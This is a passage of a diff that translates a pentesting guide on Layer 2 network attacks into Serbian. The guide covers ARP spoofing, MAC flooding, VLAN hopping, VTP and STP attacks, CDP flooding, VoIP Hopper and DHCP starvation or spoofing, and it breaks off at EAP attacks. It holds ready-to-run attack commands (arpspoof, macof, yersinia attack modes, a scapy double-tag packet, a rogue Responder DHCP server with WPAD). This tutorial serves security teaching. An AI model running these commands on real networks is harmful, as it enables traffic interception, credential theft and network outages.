manipulaciju ARP tabela na ciljnom računaru i usmerava saobraćaj preko napadačevog računara. Ovo omogućava napadaču da presretne, modifikuje ili prisluškuje mrežni saobraćaj između dve komunikacijske strane. ```bash echo 1 > /proc/sys/net/ipv4/ip_forward arpspoof -t 192.168.1.1 192.168.1.2 arpspoof -t 192.168.1.2 192.168.1.1 ``` +### MAC Poplavljanje - Prekoračenje CAM tabele -### MAC Flooding - CAM overflow - -Overflow the switch’s CAM table sending a lot of packets with different source mac address. When the CAM table is full the switch start behaving like a hub (broadcasting all the traffic). - +Prekoračite CAM tabelu prekidača slanjem velikog broja paketa sa različitim izvornim MAC adresama. Kada je CAM tabela puna, prekidač počinje da se ponaša kao hub (emituje sav saobraćaj). ```bash macof -i ``` +U modernim prekidačima ova ranjivost je ispravljena. -In modern switches this vulnerability has been fixed. +### Napadi na 802.1Q VLAN / DTP -### 802.1Q VLAN / DTP Attacks +#### Dinamičko trunkiranje -#### Dynamic Trunking +**Protokol dinamičkog trunkiranja (DTP)** je dizajniran kao protokol sloja veze kako bi olakšao automatski sistem za trunkiranje, omogućavajući prekidačima da automatski odaberu portove za trunk režim (Trunk) ili ne-trunk režim. Implementacija **DTP**-a često se smatra indikativnom za suboptimalni dizajn mreže, naglašavajući važnost ručnog konfigurisanja trunkova samo tamo gde je to potrebno i obezbeđivanja odgovarajuće dokumentacije. -The **Dynamic Trunking Protocol (DTP)** is designed as a link layer protocol to facilitate an automatic system for trunking, allowing switches to automatically select ports for trunk mode (Trunk) or non-trunk mode. The deployment of **DTP** is often seen as indicative of suboptimal network design, underscoring the importance of manually configuring trunks only where necessary and ensuring proper documentation. +Prema zadanim podešavanjima, portovi prekidača su podešeni da rade u režimu Dinamički Auto, što znači da su spremni da pokrenu trunkiranje ako ih podstakne susedni prekidač. Bezbednosna zabrinutost se javlja kada pentester ili napadač poveže se na prekidač i pošalje DTP Desirable okvir, prisiljavajući port da uđe u trunk režim. Ova akcija omogućava napadaču da nabroji VLAN-ove kroz analizu STP okvira i zaobiđe segmentaciju VLAN-ova postavljanjem virtuelnih interfejsa. -By default, switch ports are set to operate in Dynamic Auto mode, meaning they are ready to initiate trunking if prompted by a neighboring switch. A security concern arises when a pentester or attacker connects to the switch and sends a DTP Desirable frame, compelling the port to enter trunk mode. This action enables the attacker to enumerate VLANs through STP frame analysis and circumvent VLAN segmentation by setting up virtual interfaces. - -The presence of DTP in many switches by default can be exploited by adversaries to mimic a switch's behavior, thereby gaining access to traffic across all VLANs. The script [_**dtpscan.sh**_](https://github.com/commonexploits/dtpscan) is utilized to monitor an interface, revealing whether a switch is in Default, Trunk, Dynamic, Auto, or Access mode—the latter being the only configuration immune to VLAN hopping attacks. This tool assesses the switch's vulnerability status. - -Should network vulnerability be identified, the _**Yersinia**_ tool can be employed to "enable trunking" via the DTP protocol, allowing for the observation of packets from all VLANs. +Prisustvo DTP-a u mnogim prekidačima po zadanim podešavanjima može biti iskorišćeno od strane protivnika kako bi imitirali ponašanje prekidača, čime dobijaju pristup saobraćaju preko svih VLAN-ova. Skripta [_**dtpscan.sh**_](https://github.com/commonexploits/dtpscan) se koristi za praćenje interfejsa, otkrivajući da li je prekidač u režimu Podrazumevano, Trunk, Dinamički, Auto ili Pristup - poslednja konfiguracija je jedina imuna na napade VLAN hopping-a. Ovaj alat procenjuje ranjivost prekidača. +Ukoliko se identifikuje ranjivost mreže, može se koristiti alat _**Yersinia**_ za "omogućavanje trunkiranja" putem DTP protokola, što omogućava posmatranje paketa sa svih VLAN-ova. ```bash apt-get install yersinia #Installation sudo apt install kali-linux-large #Another way to install it in Kali @@ -325,26 +314,22 @@ yersinia -I #Interactive mode yersinia -G #For graphic mode ``` - ![](<../../.gitbook/assets/image (646) (1).png>) -To enumerate the VLANs it's also possible to generate the DTP Desirable frame with the script [**DTPHijacking.py**](https://github.com/in9uz/VLANPWN/blob/main/DTPHijacking.py)**. D**o not interrupt the script under any circumstances. It injects DTP Desirable every three seconds. **The dynamically created trunk channels on the switch only live for five minutes. After five minutes, the trunk falls off.** - +Da biste nabrojali VLAN-ove, takođe je moguće generisati DTP Desirable okvir pomoću skripte [**DTPHijacking.py**](https://github.com/in9uz/VLANPWN/blob/main/DTPHijacking.py)**. N**e prekidajte skriptu ni pod kojim okolnostima. Ona ubacuje DTP Desirable svake tri sekunde. **Dinamički kreirani trunk kanali na prekidaču žive samo pet minuta. Nakon pet minuta, trunk se prekida.** ``` sudo python3 DTPHijacking.py --interface eth0 ``` +Želim da naglasim da **Pristup/Poželjan (0x03)** ukazuje da je DTP okvir tipa Poželjan, što govori portu da pređe u Trunk režim. A **802.1Q/802.1Q (0xa5**) ukazuje na tip inkapsulacije **802.1Q**. -I would like to point out that **Access/Desirable (0x03)** indicates that the DTP frame is of the Desirable type, which tells the port to switch to Trunk mode. And **802.1Q/802.1Q (0xa5**) indicates the **802.1Q** encapsulation type. - -By analyzing the STP frames, **we learn about the existence of VLAN 30 and VLAN 60.** +Analizom STP okvira, **saznajemo o postojanju VLAN-a 30 i VLAN-a 60.**
-#### Attacking specific VLANs - -Once you known VLAN IDs and IPs values, you can **configure a virtual interface to attack a specific VLAN**.\ -If DHCP is not available, then use _ifconfig_ to set a static IP address. +#### Napad na određene VLAN-ove +Kada saznate VLAN ID-ove i vrednosti IP adresa, možete **konfigurisati virtuelno sučelje za napad na određeni VLAN**.\ +Ako DHCP nije dostupan, koristite _ifconfig_ za podešavanje statičke IP adrese. ``` root@kali:~# modprobe 8021q root@kali:~# vconfig add eth1 250 @@ -353,13 +338,13 @@ root@kali:~# dhclient eth1.250 Reloading /etc/samba/smb.conf: smbd only. root@kali:~# ifconfig eth1.250 eth1.250 Link encap:Ethernet HWaddr 00:0e:c6:f0:29:65 - inet addr:10.121.5.86 Bcast:10.121.5.255 Mask:255.255.255.0 - inet6 addr: fe80::20e:c6ff:fef0:2965/64 Scope:Link - UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 - RX packets:19 errors:0 dropped:0 overruns:0 frame:0 - TX packets:13 errors:0 dropped:0 overruns:0 carrier:0 - collisions:0 txqueuelen:0 - RX bytes:2206 (2.1 KiB) TX bytes:1654 (1.6 KiB) +inet addr:10.121.5.86 Bcast:10.121.5.255 Mask:255.255.255.0 +inet6 addr: fe80::20e:c6ff:fef0:2965/64 Scope:Link +UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 +RX packets:19 errors:0 dropped:0 overruns:0 frame:0 +TX packets:13 errors:0 dropped:0 overruns:0 carrier:0 +collisions:0 txqueuelen:0 +RX bytes:2206 (2.1 KiB) TX bytes:1654 (1.6 KiB) root@kali:~# arp-scan -I eth1.250 10.121.5.0/24 ``` @@ -377,182 +362,184 @@ sudo vconfig add eth0 30 sudo ip link set eth0.30 up sudo dhclient -v eth0.30 ``` +#### Automatski VLAN Hopper -#### Automatic VLAN Hopper +Opisani napad na **Dinamičko Trunkovanje i kreiranje virtuelnih interfejsa i otkrivanje hostova unutar** drugih VLAN-ova se **automatski izvodi** pomoću alata: [**https://github.com/nccgroup/vlan-hopping---frogger**](https://github.com/nccgroup/vlan-hopping---frogger) -The discussed attack of **Dynamic Trunking and creating virtual interfaces an discovering hosts inside** other VLANs are **automatically performed** by the tool: [**https://github.com/nccgroup/vlan-hopping---frogger**](https://github.com/nccgroup/vlan-hopping---frogger) +#### Dvostruko označavanje -#### Double Tagging +Ako napadač zna vrednost **MAC, IP i VLAN ID žrtvinog hosta**, može pokušati da **dvostruko označi okvir** sa svojom određenom VLAN-om i VLAN-om žrtve i pošalje paket. Pošto **žrtva neće moći da se poveže nazad** sa napadačem, najbolja opcija za napadača je komunikacija putem UDP-a sa protokolima koji mogu izvršiti neke zanimljive akcije (kao što je SNMP). -If an attacker knows the value of the **MAC, IP and VLAN ID of the victim host**, he could try to **double tag a frame** with its designated VLAN and the VLAN of the victim and send a packet. As the **victim won't be able to connect back** with the attacker, so the **best option for the attacker is communicate via UDP** to protocols that can perform some interesting actions (like SNMP). - -Another option for the attacker is to launch a **TCP port scan spoofing an IP controlled by the attacker and accessible by the victim** (probably through internet). Then, the attacker could sniff in the second host owned by him if it receives some packets from the victim. +Druga opcija za napadača je da pokrene **TCP port skeniranje sa lažiranim IP-jem kontrolisanim od strane napadača i dostupnim žrtvi** (verovatno preko interneta). Zatim, napadač može prisluškivati na drugom hostu koji je u njegovom vlasništvu da li prima pakete od žrtve. ![](<../../.gitbook/assets/image (635) (1).png>) -To perform this attack you could use scapy: `pip install scapy` - +Za izvođenje ovog napada možete koristiti scapy: `pip install scapy` ```python from scapy.all import * # Double tagging with ICMP packet (the response from the victim isn't double tagged so it will never reach the attacker) packet = Ether()/Dot1Q(vlan=1)/Dot1Q(vlan=20)/IP(dst='192.168.1.10')/ICMP() sendp(packet) ``` +#### Bypassiranje segmentacije VLAN-a na bočnoj strani -#### Lateral VLAN Segmentation Bypass - -If you have **access to a switch that you are directly connected to**, you have the ability to **bypass VLAN segmentation** within the network. Simply **switch the port to trunk mode** (otherwise known as trunk), create virtual interfaces with the IDs of the target VLANs, and configure an IP address. You can try requesting the address dynamically (DHCP) or you can configure it statically. It depends on the case. +Ako imate **pristup prekidaču s kojim ste direktno povezani**, imate mogućnost **bypassiranja segmentacije VLAN-a** unutar mreže. Jednostavno **prebacite port u režim trunka** (poznat i kao trunk), kreirajte virtuelne interfejse sa ID-ovima ciljnih VLAN-ova i konfigurišite IP adresu. Možete pokušati da zatražite adresu dinamički (DHCP) ili je možete konfigurisati statički. To zavisi od slučaja. {% content-ref url="lateral-vlan-segmentation-bypass.md" %} [lateral-vlan-segmentation-bypass.md](lateral-vlan-segmentation-bypass.md) {% endcontent-ref %} -#### Layer 3 Private VLAN Bypass +#### Bypassiranje privatne VLAN segmentacije na sloju 3 -In certain environments, such as guest wireless networks, **port isolation (also known as private VLAN)** settings are implemented to prevent clients connected to a wireless access point from directly communicating with each other. However, a technique has been identified that can circumvent these isolation measures. This technique exploits either the lack of network ACLs or their improper configuration, enabling IP packets to be routed through a router to reach another client on the same network. +U određenim okruženjima, kao što su gostujuće bežične mreže, postavke **izolacije porta (poznate i kao privatne VLAN)** se primenjuju kako bi se sprečilo direktno komuniciranje klijenata koji su povezani sa bežičnom tačkom pristupa. Međutim, identifikovana je tehnika koja može zaobići ove mere izolacije. Ova tehnika iskorišćava nedostatak ACL-ova u mreži ili njihovu nepravilnu konfiguraciju, omogućavajući IP paketima da budu rutirani preko rutera kako bi stigli do drugog klijenta u istoj mreži. -The attack is executed by creating a **packet that carries the IP address of the destination client but with the router's MAC address**. This causes the router to mistakenly forward the packet to the target client. This approach is similar to that used in Double Tagging Attacks, where the ability to control a host accessible to the victim is used to exploit the security flaw. +Napad se izvodi tako što se kreira **paketa koji nosi IP adresu odredišnog klijenta, ali sa MAC adresom rutera**. To dovodi do toga da ruter greškom prosleđuje paket ciljnom klijentu. Ovaj pristup je sličan onome koji se koristi u napadima sa dvostrukim označavanjem, gde se koristi mogućnost kontrole hosta koji je dostupan žrtvi kako bi se iskoristila bezbednosna slabost. -**Key Steps of the Attack:** -1. **Crafting a Packet:** A packet is specially crafted to include the target client's IP address but with the router's MAC address. -2. **Exploiting Router Behavior:** The crafted packet is sent up to the router, which, due to the configuration, redirects the packet to the target client, bypassing the isolation provided by private VLAN settings. +**Ključni koraci napada:** +1. **Kreiranje paketa:** Paket se posebno kreira tako da sadrži IP adresu ciljnog klijenta, ali sa MAC adresom rutera. +2. **Iskorišćavanje ponašanja rutera:** Kreirani paket se šalje do rutera koji, zbog konfiguracije, preusmerava paket ciljnom klijentu, zaobilazeći izolaciju koju pružaju postavke privatne VLAN segmentacije. -### VTP Attacks +### Napadi na VTP -VTP (VLAN Trunking Protocol) centralizes VLAN management. It utilizes revision numbers to maintain VLAN database integrity; any modification increments this number. Switches adopt configurations with higher revision numbers, updating their own VLAN databases. +VTP (VLAN Trunking Protocol) centralizuje upravljanje VLAN-ovima. Koristi revizijske brojeve za održavanje integriteta baze podataka VLAN-ova; svaka izmena povećava ovaj broj. Prekidači usvajaju konfiguracije sa većim revizijskim brojevima, ažurirajući svoje vlastite baze podataka VLAN-ova. -#### VTP Domain Roles +#### Uloge VTP domena -- **VTP Server:** Manages VLANs—creates, deletes, modifies. It broadcasts VTP announcements to domain members. -- **VTP Client:** Receives VTP announcements to synchronize its VLAN database. This role is restricted from local VLAN configuration modifications. -- **VTP Transparent:** Doesn't engage in VTP updates but forwards VTP announcements. Unaffected by VTP attacks, it maintains a constant revision number of zero. +- **VTP server:** Upravlja VLAN-ovima - kreira, briše, menja. Emituje VTP obaveštenja članovima domena. +- **VTP klijent:** Prima VTP obaveštenja radi sinhronizacije svoje baze podataka VLAN-ova. Ova uloga je ograničena od lokalnih izmena konfiguracije VLAN-a. +- **VTP Transparent:** Ne učestvuje u VTP ažuriranjima, ali prosleđuje VTP obaveštenja. Nezavisan od VTP napada, održava konstantan revizijski broj nula. -#### VTP Advertisement Types +#### Tipovi VTP obaveštenja -- **Summary Advertisement:** Broadcasted by the VTP server every 300 seconds, carrying essential domain information. -- **Subset Advertisement:** Sent following VLAN configuration changes. -- **Advertisement Request:** Issued by a VTP client to request a Summary Advertisement, typically in response to detecting a higher configuration revision number. +- **Sažeto obaveštenje:** Emituje ga VTP server svakih 300 sekundi, noseći osnovne informacije o domenu. +- **Podskup obaveštenja:** Slanje nakon promena u konfiguraciji VLAN-a. +- **Zahtev za obaveštenje:** Izdaje ga VTP klijent kako bi zatražio sažeto obaveštenje, obično kao odgovor na otkrivanje većeg revizijskog broja konfiguracije. -VTP vulnerabilities are exploitable exclusively via trunk ports as VTP announcements circulate solely through them. Post-DTP attack scenarios might pivot towards VTP. Tools like Yersinia can facilitate VTP attacks, aiming to wipe out the VLAN database, effectively disrupting the network. - -Note: This discussion pertains to VTP version 1 (VTPv1). +Ranjivosti VTP-a se mogu iskoristiti isključivo putem trunk portova, jer se VTP obaveštenja kruže samo kroz njih. Scenariji napada nakon DTP-a mogu se usmeriti ka VTP-u. Alati poput Yersinie mogu olakšati VTP napade, sa ciljem brisanja baze podataka VLAN-ova i efektivnog ometanja mreže. +Napomena: Ova diskusija se odnosi na VTP verziju 1 (VTPv1). ```bash %% yersinia -G # Launch Yersinia in graphical mode ``` ``` - -In Yersinia's graphical mode, choose the deleting all VTP vlans option to purge the VLAN database. +U grafičkom režimu Yersinie, izaberite opciju brisanja svih VTP VLAN-ova kako biste očistili VLAN bazu podataka. -### STP Attacks +### Napadi na STP -**If you cannot capture BPDU frames on your interfaces, it is unlikely that you will succeed in an STP attack.** +**Ako ne možete snimati BPDU okvire na svojim interfejsima, malo je verovatno da ćete uspeti u napadu na STP.** #### **STP BPDU DoS** -Sending a lot of BPDUs TCP (Topology Change Notification) or Conf (the BPDUs that are sent when the topology is created) the switches are overloaded and stop working correctly. - +Slanjem velikog broja BPDU TCP (Topology Change Notification) ili Conf (BPDU koji se šalju prilikom kreiranja topologije), preopterećuju se prekidači i prestaju pravilno raditi. ```bash yersinia stp -attack 2 yersinia stp -attack 3 #Use -M to disable MAC spoofing ``` +#### **STP TCP Napad** -#### **STP TCP Attack** - -When a TCP is sent, the CAM table of the switches will be deleted in 15s. Then, if you are sending continuously this kind of packets, the CAM table will be restarted continuously (or every 15segs) and when it is restarted, the switch behaves as a hub - +Kada se TCP paket pošalje, CAM tabela prekidača će biti obrisana za 15 sekundi. Zatim, ako neprekidno šaljete ovu vrstu paketa, CAM tabela će se neprekidno restartovati (svakih 15 sekundi) i kada se restartuje, prekidač se ponaša kao hub. ```bash yersinia stp -attack 1 #Will send 1 TCP packet and the switch should restore the CAM in 15 seconds yersinia stp -attack 0 #Will send 1 CONF packet, nothing else will happen ``` +#### **STP Root Napad** -#### **STP Root Attack** - -The attacker simulates the behaviour of a switch to become the STP root of the network. Then, more data will pass through him. This is interesting when you are connected to two different switches.\ -This is done by sending BPDUs CONF packets saying that the **priority** value is less than the actual priority of the actual root switch. - +Napadač simulira ponašanje prekidača kako bi postao STP koren mreže. Zatim će više podataka prolaziti kroz njega. Ovo je interesantno kada ste povezani sa dva različita prekidača.\ +Ovo se postiže slanjem BPDUs CONF paketa koji govore da je vrednost **prioriteta** manja od stvarnog prioriteta trenutnog korenskog prekidača. ```bash yersinia stp -attack 4 #Behaves like the root switch yersinia stp -attack 5 #This will make the device behaves as a switch but will not be root ``` - -**If the attacker is connected to 2 switches he can be the root of the new tree and all the traffic between those switches will pass through him** (a MITM attack will be performed). - +**Ako napadač bude povezan sa 2 prekidača, može postati koren nove mreže i sav saobraćaj između tih prekidača će prolaziti kroz njega** (izvršiće se napad MITM). ```bash yersinia stp -attack 6 #This will cause a DoS as the layer 2 packets wont be forwarded. You can use Ettercap to forward those packets "Sniff" --> "Bridged sniffing" ettercap -T -i eth1 -B eth2 -q #Set a bridge between 2 interfaces to forwardpackages ``` +### Napadi na CDP -### CDP Attacks +CISCO Discovery Protocol (CDP) je ključan za komunikaciju između CISCO uređaja, omogućavajući im da **identifikuju jedni druge i dele konfiguracione detalje**. -CISCO Discovery Protocol (CDP) is essential for communication between CISCO devices, allowing them to **identify each other and share configuration details**. +#### Pasivno prikupljanje podataka -#### Passive Data Collection +CDP je konfigurisan da emituje informacije kroz sve portove, što može predstavljati sigurnosni rizik. Napadač, nakon povezivanja na switch port, može koristiti mrežne snifere poput **Wireshark**, **tcpdump** ili **Yersinia**. Ova akcija može otkriti osetljive podatke o mrežnom uređaju, uključujući njegov model i verziju Cisco IOS-a koju koristi. Napadač može zatim ciljati specifične ranjivosti u identifikovanoj verziji Cisco IOS-a. -CDP is configured to broadcast information through all ports, which might lead to a security risk. An attacker, upon connecting to a switch port, could deploy network sniffers like **Wireshark**, **tcpdump**, or **Yersinia**. This action can reveal sensitive data about the network device, including its model and the version of Cisco IOS it runs. The attacker might then target specific vulnerabilities in the identified Cisco IOS version. - -#### Inducing CDP Table Flooding - -A more aggressive approach involves launching a Denial of Service (DoS) attack by overwhelming the switch's memory, pretending to be legitimate CISCO devices. Below is the command sequence for initiating such an attack using Yersinia, a network tool designed for testing: +#### Izazivanje preplavljivanja CDP tabele +Agresivniji pristup uključuje pokretanje napada Denial of Service (DoS) preplavljujući memoriju switch-a, pretvarajući se da je legitimni CISCO uređaj. U nastavku je prikazana sekvencija komandi za pokretanje takvog napada koristeći Yersinia, mrežni alat dizajniran za testiranje: ```bash sudo yersinia cdp -attack 1 # Initiates a DoS attack by simulating fake CISCO devices # Alternatively, for a GUI approach: sudo yersinia -G ``` +Tokom ovog napada, CPU prekidača i tabela suseda CDP-a su jako opterećeni, što često dovodi do onoga što se naziva **"paraliza mreže"** zbog prekomerne potrošnje resursa. -During this attack, the switch's CPU and CDP neighbor table are heavily burdened, leading to what is often referred to as **“network paralysis”** due to the excessive resource consumption. - -#### CDP Impersonation Attack - +#### Napad impersonacije CDP-a ```bash sudo yersinia cdp -attack 2 #Simulate a new CISCO device sudo yersinia cdp -attack 0 #Send a CDP packet ``` +Takođe možete koristiti [**scapy**](https://github.com/secdev/scapy/). Budite sigurni da ga instalirate sa `scapy/contrib` paketom. -You could also use [**scapy**](https://github.com/secdev/scapy/). Be sure to install it with `scapy/contrib` package. +### Napadi na VoIP i alat VoIP Hopper -### VoIP Attacks and the VoIP Hopper Tool +VoIP telefoni, koji su sve više integrisani sa IoT uređajima, nude funkcionalnosti poput otključavanja vrata ili kontrole termostata putem posebnih telefonskih brojeva. Međutim, ova integracija može predstavljati sigurnosne rizike. -VoIP phones, increasingly integrated with IoT devices, offer functionalities like unlocking doors or controlling thermostats through special phone numbers. However, this integration can pose security risks. +Alat [**voiphopper**](http://voiphopper.sourceforge.net) je dizajniran da emulira VoIP telefon u različitim okruženjima (Cisco, Avaya, Nortel, Alcatel-Lucent). Otkriva VLAN ID glasovne mreže koristeći protokole poput CDP, DHCP, LLDP-MED i 802.1Q ARP. -The tool [**voiphopper**](http://voiphopper.sourceforge.net) is designed to emulate a VoIP phone in various environments (Cisco, Avaya, Nortel, Alcatel-Lucent). It discovers the voice network's VLAN ID using protocols like CDP, DHCP, LLDP-MED, and 802.1Q ARP. +**VoIP Hopper** nudi tri moda za Cisco Discovery Protocol (CDP): -**VoIP Hopper** offers three modes for the Cisco Discovery Protocol (CDP): +1. **Sniff Mode** (`-c 0`): Analizira mrežne pakete kako bi identifikovao VLAN ID. +2. **Spoof Mode** (`-c 1`): Generiše prilagođene pakete koji oponašaju stvarne VoIP uređaje. +3. **Spoof with Pre-made Packet Mode** (`-c 2`): Šalje pakete identične onima određenog modela Cisco IP telefona. -1. **Sniff Mode** (`-c 0`): Analyzes network packets to identify the VLAN ID. -2. **Spoof Mode** (`-c 1`): Generates custom packets mimicking those of an actual VoIP device. -3. **Spoof with Pre-made Packet Mode** (`-c 2`): Sends packets identical to those of a specific Cisco IP phone model. +Preferirani mod za brzinu je treći. Zahteva navođenje: -The preferred mode for speed is the third one. It requires specifying: +- Mrežni interfejs napadača (parametar `-i`). +- Naziv emuliranog VoIP uređaja (parametar `-E`), u skladu sa Cisco formatom imenovanja (npr. SEP praćeno MAC adresom). -- The attacker's network interface (`-i` parameter). -- The name of the VoIP device being emulated (`-E` parameter), adhering to the Cisco naming format (e.g., SEP followed by a MAC address). +U korporativnim okruženjima, kako bi se oponašao postojeći VoIP uređaj, moguće je: -In corporate settings, to mimic an existing VoIP device, one might: - -- Inspect the MAC label on the phone. -- Navigate the phone's display settings to view model information. -- Connect the VoIP device to a laptop and observe CDP requests using Wireshark. - -An example command to execute the tool in the third mode would be: +- Pregledati MAC oznaku na telefonu. +- Prikazati informacije o modelu putem postavki ekrana telefona. +- Povezati VoIP uređaj sa laptopom i posmatrati CDP zahteve pomoću Wireshark alata. +Primer komande za izvršavanje alata u trećem modu bi bio: ```bash voiphopper -i eth1 -E 'SEP001EEEEEEEEE ' -c 2 ``` +#### Enumeracija -### DHCP Attacks +##### DHCP Discover -#### Enumeration +Kada se uređaj poveže sa mrežom, on šalje DHCP Discover poruku kako bi pronašao DHCP server. Ova poruka sadrži MAC adresu uređaja i zahteva IP adresu od DHCP servera. +##### DHCP Offer + +Kada DHCP server primi DHCP Discover poruku, on šalje DHCP Offer poruku koja sadrži IP adresu koju nudi uređaju. Ova poruka takođe sadrži MAC adresu DHCP servera. + +##### DHCP Request + +Ukoliko uređaj prihvati ponuđenu IP adresu, on šalje DHCP Request poruku DHCP serveru. Ova poruka potvrđuje da uređaj želi da koristi ponuđenu IP adresu. + +##### DHCP Acknowledgment + +Kada DHCP server primi DHCP Request poruku, on šalje DHCP Acknowledgment poruku koja potvrđuje da je IP adresa dodeljena uređaju. + +#### DHCP Starvation Attack + +Napad DHCP Starvation se sastoji od slanja velikog broja DHCP Discover poruka na mrežu kako bi se iscrpeli svi dostupni IP adrese iz DHCP pool-a. Ovo može dovesti do toga da uređaji ne mogu dobiti validnu IP adresu od DHCP servera. + +#### DHCP Spoofing Attack + +Napad DHCP Spoofing se sastoji od lažnog DHCP servera koji šalje DHCP Offer poruke na mrežu. Ovi lažni DHCP serveri mogu dodeliti zlonamernim uređajima lažne IP adrese i druge konfiguracijske informacije. Ovo može dovesti do napada na mrežu, kao što su Man-in-the-Middle napadi. ```bash nmap --script broadcast-dhcp-discover Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-16 05:30 EDT WARNING: No targets were specified, so 0 hosts scanned. Pre-scan script results: -| broadcast-dhcp-discover: -| Response 1 of 1: +| broadcast-dhcp-discover: +| Response 1 of 1: | IP Offered: 192.168.1.250 | DHCP Message Type: DHCPOFFER | Server Identifier: 192.168.1.1 @@ -563,68 +550,61 @@ Pre-scan script results: |_ Domain Name: mynet Nmap done: 0 IP addresses (0 hosts up) scanned in 5.27 seconds ``` - **DoS** -**Two types of DoS** could be performed against DHCP servers. The first one consists on **simulate enough fake hosts to use all the possible IP addresses**.\ -This attack will work only if you can see the responses of the DHCP server and complete the protocol (**Discover** (Comp) --> **Offer** (server) --> **Request** (Comp) --> **ACK** (server)). For example, this is **not possible in Wifi networks**. - -Another way to perform a DHCP DoS is to send a **DHCP-RELEASE packet using as source code every possible IP**. Then, the server will think that everybody has finished using the IP. +Moguće je izvesti **dva tipa DoS** napada na DHCP servere. Prvi tip podrazumeva **simuliranje dovoljnog broja lažnih hostova kako bi se iskoristile sve moguće IP adrese**.\ +Ovaj napad će uspeti samo ako možete videti odgovore DHCP servera i završiti protokol (**Discover** (Comp) --> **Offer** (server) --> **Request** (Comp) --> **ACK** (server)). Na primer, ovo **nije moguće u WiFi mrežama**. +Drugi način za izvođenje DHCP DoS napada je slanje **DHCP-RELEASE paketa koristeći svaku moguću IP adresu kao izvorni kod**. Tada će server misliti da su svi završili sa korišćenjem IP adrese. ```bash yersinia dhcp -attack 1 yersinia dhcp -attack 3 #More parameters are needed ``` +Jedan automatizovaniji način za to je korišćenje alata [DHCPing](https://github.com/kamorin/DHCPig) -A more automatic way of doing this is using the tool [DHCPing](https://github.com/kamorin/DHCPig) +Možete koristiti pomenute DoS napade da biste naterali klijente da dobiju nove zakupljene adrese unutar okruženja i iscrpeli legitimne servere kako bi postali neodzivni. Tako kada legitimni pokušaju ponovno povezivanje, **možete poslužiti zlonamerne vrednosti koje su pomenute u sledećem napadu**. -You could use the mentioned DoS attacks to force clients to obtain new leases within the environment, and exhaust legitimate servers so that they become unresponsive. So when the legitimate try to reconnect, **you can server malicious values mentioned in the next attack**. +#### Postavljanje zlonamernih vrednosti -#### Set malicious values +Lažni DHCP server može biti postavljen korišćenjem DHCP skripte smeštene na lokaciji `/usr/share/responder/DHCP.py`. Ovo je korisno za mrežne napade, poput presretanja HTTP saobraćaja i poverljivih podataka, preusmeravanjem saobraćaja na zlonamerni server. Međutim, postavljanje lažnog gateway-a je manje efikasno jer omogućava samo presretanje izlaznog saobraćaja sa klijenta, propuštajući odgovore od stvarnog gateway-a. Umesto toga, preporučuje se postavljanje lažnog DNS ili WPAD servera za efikasniji napad. -A rogue DHCP server can be set up using the DHCP script located at `/usr/share/responder/DHCP.py`. This is useful for network attacks, like capturing HTTP traffic and credentials, by redirecting traffic to a malicious server. However, setting a rogue gateway is less effective since it only allows capturing outbound traffic from the client, missing the responses from the real gateway. Instead, setting up a rogue DNS or WPAD server is recommended for a more effective attack. +Ispod su opcije komande za konfigurisanje lažnog DHCP servera: -Below are the command options for configuring the rogue DHCP server: - -- **Our IP Address (Gateway Advertisement)**: Use `-i 10.0.0.100` to advertise your machine's IP as the gateway. -- **Local DNS Domain Name**: Optionally, use `-d example.org` to set a local DNS domain name. -- **Original Router/Gateway IP**: Use `-r 10.0.0.1` to specify the IP address of the legitimate router or gateway. -- **Primary DNS Server IP**: Use `-p 10.0.0.100` to set the IP address of the rogue DNS server you control. -- **Secondary DNS Server IP**: Optionally, use `-s 10.0.0.1` to set a secondary DNS server IP. -- **Netmask of Local Network**: Use `-n 255.255.255.0` to define the netmask for the local network. -- **Interface for DHCP Traffic**: Use `-I eth1` to listen for DHCP traffic on a specific network interface. -- **WPAD Configuration Address**: Use `-w “http://10.0.0.100/wpad.dat”` to set the address for WPAD configuration, assisting in web traffic interception. -- **Spoof Default Gateway IP**: Include `-S` to spoof the default gateway IP address. -- **Respond to All DHCP Requests**: Include `-R` to make the server respond to all DHCP requests, but be aware that this is noisy and can be detected. - -By correctly using these options, a rogue DHCP server can be established to intercept network traffic effectively. +- **Naša IP adresa (Gateway Advertisement)**: Koristite `-i 10.0.0.100` da biste reklamirali IP adresu vašeg računara kao gateway. +- **Lokalno DNS ime domena**: Opciono, koristite `-d example.org` da biste postavili lokalno DNS ime domena. +- **Originalni Router/Gateway IP**: Koristite `-r 10.0.0.1` da biste specificirali IP adresu legitimnog rutera ili gateway-a. +- **IP adresa primarnog DNS servera**: Koristite `-p 10.0.0.100` da biste postavili IP adresu lažnog DNS servera koji kontrolišete. +- **IP adresa sekundarnog DNS servera**: Opciono, koristite `-s 10.0.0.1` da biste postavili IP adresu sekundarnog DNS servera. +- **Netmask lokalne mreže**: Koristite `-n 255.255.255.0` da biste definisali netmasku za lokalnu mrežu. +- **Interfejs za DHCP saobraćaj**: Koristite `-I eth1` da biste osluškivali DHCP saobraćaj na određenom mrežnom interfejsu. +- **WPAD adresa konfiguracije**: Koristite `-w “http://10.0.0.100/wpad.dat”` da biste postavili adresu za WPAD konfiguraciju, pomažući u presretanju web saobraćaja. +- **IP adresa lažnog podrazumevanog gateway-a**: Uključite `-S` da biste lažirali IP adresu podrazumevanog gateway-a. +- **Odgovor na sve DHCP zahteve**: Uključite `-R` da biste serveru omogućili odgovor na sve DHCP zahteve, ali budite svesni da je ovo bučno i može biti otkriveno. +Pravilnim korišćenjem ovih opcija, može se uspostaviti lažni DHCP server za efikasno presretanje mrežnog saobraćaja. ```python # Example to start a rogue DHCP server with specified options !python /usr/share/responder/DHCP.py -i 10.0.0.100 -d example.org -r 10.0.0.1 -p 10.0.0.100 -s 10.0.0.1 -n 255.255.255.0 -I eth1 -w "http://10.0.0.100/wpad.dat" -S -R ``` +### **Napadi na EAP** -### **EAP Attacks** +Evo nekih taktika napada koje se mogu koristiti protiv implementacija 802.1X: -Here are some of the attack tactics that can be used against 802.1X implementations: - -* Active brute-force password grinding via EAP -* Attacking the RADIUS server with malformed EAP content _\*\*_(exploits) -* EAP message capture and offline password cracking (EAP-MD5 and PEAP) -* Forcing EAP-MD5 authentication to bypass TLS certificate validation -* Injecting malicious network traffic upon authenticating using a hub or similar - -If the attacker if between the victim and the authentication server, he could try to degrade (if necessary) the authentication protocol to EAP-MD5 and capture the authentication attempt. Then, he could brute-force this using: +* Aktivno grubo sile brušenje lozinke putem EAP-a +* Napad na RADIUS server sa oštećenim EAP sadržajem _(eksploiti)_ +* 